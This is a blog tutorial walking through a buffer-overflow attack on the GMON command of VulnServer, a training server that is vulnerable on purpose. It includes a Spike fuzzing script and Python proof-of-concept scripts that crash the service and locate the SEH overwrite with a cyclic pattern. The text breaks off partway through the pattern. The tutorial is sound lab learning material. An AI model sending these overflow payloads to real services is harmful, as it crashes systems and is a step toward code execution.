30 Minute Read

Retro Exploit Series - VulnServer GMON via SEH

This is going to be part one of an on going series I am calling the Retro Exploit Series … and Episode One will be covering everyone’s favorite vulnerable server … VulnServer!


TLDR; - JMP short Final_Exploits


VulnServer

VulnServer was first introduced to the world back in 2010 by an IT Security Professional named Stephen Bradshaw:
http://www.thegreycorner.com/2010/12/introducing-vulnserver.html.

This program was developed specifically to be vulnerable to things like strcpy, memcpy, etc and as such is often used to practice and learn with.

For the rest of this post (and the vulnserver series) we will be using the version available here: https://github.com/stephenbradshaw/vulnserver

Alright, without further ado let’s go ahead and jump in…

Our Tools

  1. Windows XP SP3 (x86)
  2. OllyDbg 1.10
  3. SafeSEH plugin for OllyDbg
  4. MSFVenom (for shellcode generation)
  5. Spike
  6. Calculator … cause math

The Setup

The very first thing we need to do is download a copy of https://github.com/stephenbradshaw/vulnserver and make sure that it works on our machine.

VulnServer Running

Next up it’s time to make sure that OllyDbg 1.10 is working correctly with SafeSEH plugin for OllyDbg. In order to so that you need to move the safeseh.dll into the same directorty with OllyDbg 1.10 before starting OllyDbg 1.10.

Olly with SafeSEH

Now when we launch OllyDbg 1.10 as Administrator we are greeted with a working SafeSEH plugin for OllyDbg plugin!

Olly with SafeSEH Working

Attaching Olly

Now that we have everything we need to run VulnServer it’s time to do just that. Let’s start by launching it with a port of 4444 with the following command

vulnserver.exe 4444

At this point we need to launch Olly and attach the debugger … attaching is incredibly important since in the real world (is vulnserver ever actually left running?) we will be attacking an already running process. When you start a process through Olly you will end up with a stack alignment that is slightly different … and that would bring you hours of pain if you did not already know that ;)

Attach with Olly

Once the process attaches you will be met with a paused process, so at this point go ahead and press F9 or click the little play button to allow it to start running again.

Side note: I like to run Olly with the font OEM Fixed and change my Hex panel to 16 bytes … but your mileage may vary of course.

Exploring VulnServer

Now we need to take a moment to explore VulnServer a little bit and figure out what we are even going to fuzz …

Basic Commands

From poking around a little bit it looks like we can pass in strings followed by some additional values (like numbers, etc). Let’s start by fuzzing the GMON command. The game plan is to send it GMON followed by a lot of junk and see if we can overflow any buffers …

Fuzzy Spike

Time to start fuzzing VulnServer with a program called Spike. This this is an older fuzzing framework however I have still found it to be quite handy for quickly fuzzing network applications and seeing what breaks …

Before continuing forward I would highly recommend that you take a moment and read up on Spike from the following article: https://resources.infosecinstitute.com/intro-to-fuzzing/.

Now that we have a good understanding about what spike is (and is not) we can put together a very simple little spike script which we can use to fuzz the GMON input for vulnserver:

// Title     : VulnServer SEH Overflow in GMON
// OS        : Windows XP Pro SP3 x86 English
// Name      : Jonathan "Chops" Crosby
// Email     : [email protected]
// Twitter   : @securitychops
// Website   : https://securitychops.com

//spike fuzz file used to find the seh overflow

//read the welcome line
s_readline();

s_string("GMON ");
s_string_variable("1");
s_binary("\\x0a");
https://github.com/securitychops/exploits/blob/master/vulnserver/windows/x86/gmon/seh/vulnserver-gmon.spk


Now that we have a script written let’s take a moment to talk about what each line does. When we connect to VulnServer through something like netcat we are immediately met with a response of:

Welcome to Vulnerable Server! Enter HELP for help

While certainly helpful to a human, to a machine that is garbage that we don’t really care about. As such we can use the following command in our spike script to consume, or read, that line s_readline();

Once that is done we need to send a command to fuzz. Spike lets us put together that string through both a static and variable string. If we use the command s_string then spike will just print whatever is in the quotes without alteration. Next up s_string_variable will actually mutate and alter the value in the quotes to be a predefined value that spike knows to have been problematic or exploitative in nature … which will hopefully cause a crash :)

Finally we end up with s_binary(“\x0a”);, which might seem a little weird at first. However, spike allows us to directly inject not only strings, but also many other types of data such as binary. In our case, we knew that the value needed to trigger a return (from capturing the request with WireShark) was an 0x0a, which we send at the very end.

So, the final set of actions from the script are to read the welcome line, send GMON JUNKJUNKNUNKETCETCETCAAAAA….. and finally end it with a line feed (0x0a).

Now that we have our script written all that is left is to run it … but how do we do that?

A lot of articles will be from BackTrack Linux which will have spike in a different location. On newer versions of Kali Linux you can find the relevant binaries under /usr/bin.

For example:
/usr/bin/generic_send_tcp
/usr/bin/generic_send_udp

Ok, now that we know where generic_send_tcp is lets call it with the following command…

generic_send_tcp 192.168.31.132 4444 vulnserver-gmon.spk 0 0


That command is telling bash to start generic_send_tcp which in turn is telling generic_send_tcp to connect to 192.168.31.132 on port 4444 using the spike script vulnserver-gmon.spk starting at line 0 and skipping 0 lines…

Crashing With Style

Almost immediately after running our spike script we are clued into the fact that something awesome has happened …

First Crash

If you are paying attention you will notice that when we send GMON /.:/AAAAAAAA… we stop getting

line read=Welcome to Vulnerable Server! Enter Help for help.


Which very likely means that our program has crashed … let’s go take a look at Olly back in XP and see what we have …

First Crash in Olly

Isn’t it beautiful … just looks at all those /.:/AAAAAAAAAAAAAA in the registers and stack …

Ok, so we don’t have control of EIP … but do we have control over SEH?

First Crash in Olly SEH

Why yes … yes we do! Looks like we have overwritten the SE handler with 41414141 which means we have control over SEH assuming SafeSEH is disabled … which we kinda already knew from running the SafeSEH plugin…

First Crash in Olly SEH

Reproducing That Crash

At this point we know that we are crashing when we are sending in around 5000 characters. In order to start to narrow down on exactly how we can overflow that buffer we need to start working on a small skeleton python script to crash it outside of our fuzzer … so let’s start!

#!/usr/bin/python

import socket
import sys

# IP and Port for VulnServer
host = '192.168.31.132'
port = 4444

payload = "GMON /.:/"
payload += "A"*5001


# and boom goes the dynamite
try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except:
        print "socket() failed"
        sys.exit(1)

s.connect((host,port))
print s.recv(4096)
s.send(payload)
print s.recv(4096)


Right off the bat we are just going to push through 5001 A’s and see what happens. Just like last time we break in exactly the same way!

Ok, at this point we know we have overflown the SE Handler with A’s consistently … but now we need to figure out where exactly in our evil string that overwrite is happening so that we can start creating the real exploit!

Finding SEH

So how can we easily locate the exact four bytes being overwritten into the SEH address? Well fortunately for us there is a tool that is part of the metasploit framework called pattern_create that makes the job incredibly simple.

After a quick

locate pattern_create


We see that we can use the binary /usr/bin/msf-pattern_create!

After issueing the following command

msf-pattern_create -l 5001


We receive the following output:

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6


At this point we can alter our proof of concept script to be the following:

#!/usr/bin/python

import socket
import sys

# IP and Port for VulnServer
host = '192.168.31.132'
port = 4444

payload = "GMON /.:/"
payload += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr